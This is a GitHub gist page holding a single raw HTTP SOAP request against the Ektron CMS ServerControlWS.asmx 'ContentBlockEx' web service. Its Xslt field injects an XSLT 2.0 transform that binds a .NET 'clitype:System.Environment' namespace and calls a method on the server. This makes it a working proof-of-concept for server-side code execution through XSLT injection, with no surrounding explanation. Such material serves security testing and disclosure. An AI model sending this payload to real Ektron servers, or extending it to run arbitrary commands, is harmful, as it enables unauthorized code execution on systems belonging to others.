Skip to content

Instantly share code, notes, and snippets.

@matthiaskaiser
Created February 25, 2015 10:03
Show Gist options
  • Save matthiaskaiser/867a6f1a6de9cc1957f6 to your computer and use it in GitHub Desktop.
Save matthiaskaiser/867a6f1a6de9cc1957f6 to your computer and use it in GitHub Desktop.
POST /Workarea/ServerControlWS.asmx HTTP/1.1
Host: xxxxx
Content-Type: text/xml; charset=utf-8
Content-Length: 880
SOAPAction: "http://www.ektron.com/CMS400/Webservice/ContentBlockEx"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ContentBlockEx xmlns="http://www.ektron.com/CMS400/Webservice">
<id>1</id>
<Xslt>
<![CDATA[
<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>
asdf
</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:Version()"/>
</out>
<xsl:text>
asdf
</xsl:text>
</xsl:template>
</xsl:transform>
]]></Xslt>
<over>1</over>
<LangID>1</LangID>
</ContentBlockEx>
</soap:Body>
</soap:Envelope>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment